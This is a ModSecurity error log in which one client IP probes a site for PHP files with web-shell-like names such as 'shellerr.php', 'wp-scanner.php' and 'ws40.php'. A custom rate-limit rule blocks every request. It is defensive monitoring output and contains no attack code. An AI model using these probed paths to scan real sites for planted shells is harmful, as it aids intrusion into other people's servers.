[Tue Mar 31 17:15:50.268144 2026] [:error] [pid 36982:tid 37005] [client 172.161.1.56:20958] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "acuQxvlMmeoQKN0r_GM6cwAAANQ"]
[Tue Mar 31 17:15:50.852030 2026] [:error] [pid 36982:tid 36998] [client 172.161.1.56:16018] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "acuQxvlMmeoQKN0r_GM6dgAAAM0"]
[Tue Mar 31 17:15:51.798398 2026] [:error] [pid 41421:tid 41436] [client 172.161.1.56:40932] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "acuQxxSaDjY9kKFtUQBTHQAAAQw"]
[Tue Mar 31 17:16:07.163713 2026] [:error] [pid 36982:tid 36988] [client 172.161.1.56:62792] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xs.php"] [unique_id "acuQ1_lMmeoQKN0r_GM6twAAAMM"]
[Tue Mar 31 17:16:07.648502 2026] [:error] [pid 41421:tid 41429] [client 172.161.1.56:41912] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xs.php"] [unique_id "acuQ1xSaDjY9kKFtUQBTOAAAAQU"]
[Tue Mar 31 17:16:08.401584 2026] [:error] [pid 41421:tid 41433] [client 172.161.1.56:46862] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xs.php"] [unique_id "acuQ2BSaDjY9kKFtUQBTOgAAAQk"]
[Tue Mar 31 17:16:08.983920 2026] [:error] [pid 41421:tid 41430] [client 172.161.1.56:23699] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xs.php"] [unique_id "acuQ2BSaDjY9kKFtUQBTOwAAAQY"]
[Tue Mar 31 17:16:09.991438 2026] [:error] [pid 36891:tid 36946] [client 172.161.1.56:51703] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "acuQ2ZJhiMaJUqoqfl6rDwAAAFY"]
[Tue Mar 31 17:16:10.492807 2026] [:error] [pid 36982:tid 37006] [client 172.161.1.56:37242] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "acuQ2vlMmeoQKN0r_GM6vQAAANU"]
[Tue Mar 31 17:16:10.979674 2026] [:error] [pid 41421:tid 41441] [client 172.161.1.56:46879] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "acuQ2hSaDjY9kKFtUQBTQAAAARE"]
[Tue Mar 31 17:16:11.544535 2026] [:error] [pid 36982:tid 36994] [client 172.161.1.56:15201] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "acuQ2_lMmeoQKN0r_GM6wgAAAMk"]
[Tue Mar 31 17:16:12.116113 2026] [:error] [pid 36891:tid 36938] [client 172.161.1.56:62785] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "acuQ3JJhiMaJUqoqfl6rEQAAAE4"]
[Tue Mar 31 17:16:13.065070 2026] [:error] [pid 6548:tid 6556] [client 172.161.1.56:17910] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "acuQ3bgIz9HgMl9YwE7JPwAAAUY"]
[Tue Mar 31 17:16:13.617336 2026] [:error] [pid 36891:tid 36936] [client 172.161.1.56:48709] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "acuQ3ZJhiMaJUqoqfl6rEwAAAEw"]
[Tue Mar 31 17:16:14.343010 2026] [:error] [pid 41421:tid 41447] [client 172.161.1.56:16031] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "acuQ3hSaDjY9kKFtUQBTRwAAARc"]
[Tue Mar 31 17:16:14.986770 2026] [:error] [pid 36982:tid 36994] [client 172.161.1.56:46876] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "acuQ3vlMmeoQKN0r_GM6ywAAAMk"]
[Tue Mar 31 17:16:15.656284 2026] [:error] [pid 41421:tid 41446] [client 172.161.1.56:40946] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "acuQ3xSaDjY9kKFtUQBTSQAAARY"]
[Tue Mar 31 17:16:16.513286 2026] [:error] [pid 36891:tid 36945] [client 172.161.1.56:54695] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "acuQ4JJhiMaJUqoqfl6rGwAAAFU"]
[Tue Mar 31 17:16:17.093250 2026] [:error] [pid 36890:tid 36895] [client 172.161.1.56:15186] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "acuQ4Z8FASPd_uH8z7f94gAAAAA"]
[Tue Mar 31 17:16:17.953433 2026] [:error] [pid 36982:tid 37006] [client 172.161.1.56:46873] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "acuQ4flMmeoQKN0r_GM61wAAANU"]
[Tue Mar 31 17:16:18.513486 2026] [:error] [pid 36891:tid 36940] [client 172.161.1.56:40898] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "acuQ4pJhiMaJUqoqfl6rJQAAAFA"]
[Tue Mar 31 17:16:19.229886 2026] [:error] [pid 6548:tid 6568] [client 172.161.1.56:46864] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "acuQ47gIz9HgMl9YwE7JRAAAAVI"]
[Tue Mar 31 17:16:20.042442 2026] [:error] [pid 6548:tid 6572] [client 172.161.1.56:61606] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "acuQ5LgIz9HgMl9YwE7JSQAAAVY"]
[Tue Mar 31 17:16:20.653375 2026] [:error] [pid 6548:tid 6557] [client 172.161.1.56:40942] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acuQ5LgIz9HgMl9YwE7JSwAAAUc"]
[Tue Mar 31 17:16:21.440411 2026] [:error] [pid 36982:tid 36985] [client 172.161.1.56:43258] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acuQ5flMmeoQKN0r_GM64gAAAMA"]
[Tue Mar 31 17:16:22.348395 2026] [:error] [pid 41421:tid 41437] [client 172.161.1.56:41900] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acuQ5hSaDjY9kKFtUQBTTgAAAQ0"]
[Tue Mar 31 17:16:23.065668 2026] [:error] [pid 36982:tid 37008] [client 172.161.1.56:20971] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acuQ5_lMmeoQKN0r_GM66gAAANc"]
[Tue Mar 31 17:16:23.762108 2026] [:error] [pid 41421:tid 41426] [client 172.161.1.56:62830] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "acuQ5xSaDjY9kKFtUQBTUgAAAQI"]
[Tue Mar 31 17:16:24.291387 2026] [:error] [pid 41421:tid 41441] [client 172.161.1.56:43233] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "acuQ6BSaDjY9kKFtUQBTUwAAARE"]
[Tue Mar 31 17:16:24.786165 2026] [:error] [pid 36982:tid 37005] [client 172.161.1.56:41868] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "acuQ6PlMmeoQKN0r_GM69gAAANQ"]
[Tue Mar 31 17:16:25.365842 2026] [:error] [pid 36982:tid 36997] [client 172.161.1.56:20937] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "acuQ6flMmeoQKN0r_GM6-AAAAMw"]
[Tue Mar 31 17:16:25.860319 2026] [:error] [pid 6548:tid 6568] [client 172.161.1.56:54683] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpwer1.php"] [unique_id "acuQ6bgIz9HgMl9YwE7JUgAAAVI"]
[Tue Mar 31 17:16:26.343087 2026] [:error] [pid 36891:tid 36933] [client 172.161.1.56:54701] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpwer1.php"] [unique_id "acuQ6pJhiMaJUqoqfl6rJwAAAEk"]
[Tue Mar 31 17:16:26.911032 2026] [:error] [pid 36892:tid 36970] [client 172.161.1.56:54682] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpwer1.php"] [unique_id "acuQ6kyj9S4G0ek3O4JfVQAAAJM"]
[Tue Mar 31 17:16:27.393901 2026] [:error] [pid 41421:tid 41430] [client 172.161.1.56:37185] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpwer1.php"] [unique_id "acuQ6xSaDjY9kKFtUQBTVwAAAQY"]
[Tue Mar 31 17:16:27.992843 2026] [:error] [pid 36982:tid 37002] [client 172.161.1.56:41906] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws40.php"] [unique_id "acuQ6_lMmeoQKN0r_GM6_gAAANE"]
[Tue Mar 31 17:16:28.569327 2026] [:error] [pid 36892:tid 36972] [client 172.161.1.56:40930] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws40.php"] [unique_id "acuQ7Eyj9S4G0ek3O4JfVgAAAJU"]
[Tue Mar 31 17:16:29.139451 2026] [:error] [pid 36892:tid 36971] [client 172.161.1.56:20935] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws40.php"] [unique_id "acuQ7Uyj9S4G0ek3O4JfVwAAAJQ"]
[Tue Mar 31 17:16:29.628770 2026] [:error] [pid 41421:tid 41441] [client 172.161.1.56:43200] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws40.php"] [unique_id "acuQ7RSaDjY9kKFtUQBTWwAAARE"]
[Tue Mar 31 17:16:30.179590 2026] [:error] [pid 36890:tid 36909] [client 172.161.1.56:37239] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acuQ7p8FASPd_uH8z7f98wAAAA4"]
[Tue Mar 31 17:16:30.782873 2026] [:error] [pid 6548:tid 6560] [client 172.161.1.56:40924] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acuQ7rgIz9HgMl9YwE7JVQAAAUo"]
[Tue Mar 31 17:16:31.399589 2026] [:error] [pid 6548:tid 6553] [client 172.161.1.56:43221] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acuQ77gIz9HgMl9YwE7JWgAAAUM"]
[Tue Mar 31 17:16:32.054030 2026] [:error] [pid 36892:tid 36966] [client 172.161.1.56:20966] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acuQ8Eyj9S4G0ek3O4JfYQAAAI8"]
[Tue Mar 31 17:16:32.691982 2026] [:error] [pid 36890:tid 36897] [client 172.161.1.56:43229] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "acuQ8J8FASPd_uH8z7f99wAAAAI"]
[Tue Mar 31 17:16:33.348432 2026] [:error] [pid 6548:tid 6559] [client 172.161.1.56:40955] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "acuQ8bgIz9HgMl9YwE7JYQAAAUk"]
[Tue Mar 31 17:16:33.855006 2026] [:error] [pid 36982:tid 37007] [client 172.161.1.56:15205] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "acuQ8flMmeoQKN0r_GM7CAAAANY"]
[Tue Mar 31 17:16:34.423089 2026] [:error] [pid 36890:tid 36919] [client 172.161.1.56:62820] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "acuQ8p8FASPd_uH8z7f9-QAAABg"]
[Tue Mar 31 17:16:35.157697 2026] [:error] [pid 6548:tid 6564] [client 172.161.1.56:43238] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "acuQ87gIz9HgMl9YwE7JZQAAAU4"]
[Tue Mar 31 17:16:35.769977 2026] [:error] [pid 36890:tid 36899] [client 172.161.1.56:20964] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "acuQ858FASPd_uH8z7f9_gAAAAQ"]
[Tue Mar 31 17:16:36.352041 2026] [:error] [pid 6548:tid 6568] [client 172.161.1.56:20978] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "acuQ9LgIz9HgMl9YwE7JawAAAVI"]
[Tue Mar 31 17:16:36.928776 2026] [:error] [pid 6548:tid 6558] [client 172.161.1.56:62840] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellerr.php"] [unique_id "acuQ9LgIz9HgMl9YwE7JbQAAAUg"]
[Tue Mar 31 17:16:37.808391 2026] [:error] [pid 6548:tid 6560] [client 172.161.1.56:17878] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acuQ9bgIz9HgMl9YwE7JbwAAAUo"]
[Tue Mar 31 17:16:38.428635 2026] [:error] [pid 6548:tid 6568] [client 172.161.1.56:48722] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acuQ9rgIz9HgMl9YwE7JdAAAAVI"]
[Tue Mar 31 17:16:38.926549 2026] [:error] [pid 6548:tid 6574] [client 172.161.1.56:43244] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acuQ9rgIz9HgMl9YwE7JdwAAAVg"]
[Tue Mar 31 17:16:39.464578 2026] [:error] [pid 6548:tid 6563] [client 172.161.1.56:62833] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scanner.php"] [unique_id "acuQ97gIz9HgMl9YwE7JegAAAU0"]
[Tue Mar 31 17:16:39.954342 2026] [:error] [pid 36982:tid 36998] [client 172.161.1.56:37246] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "acuQ9_lMmeoQKN0r_GM7DgAAAM0"]
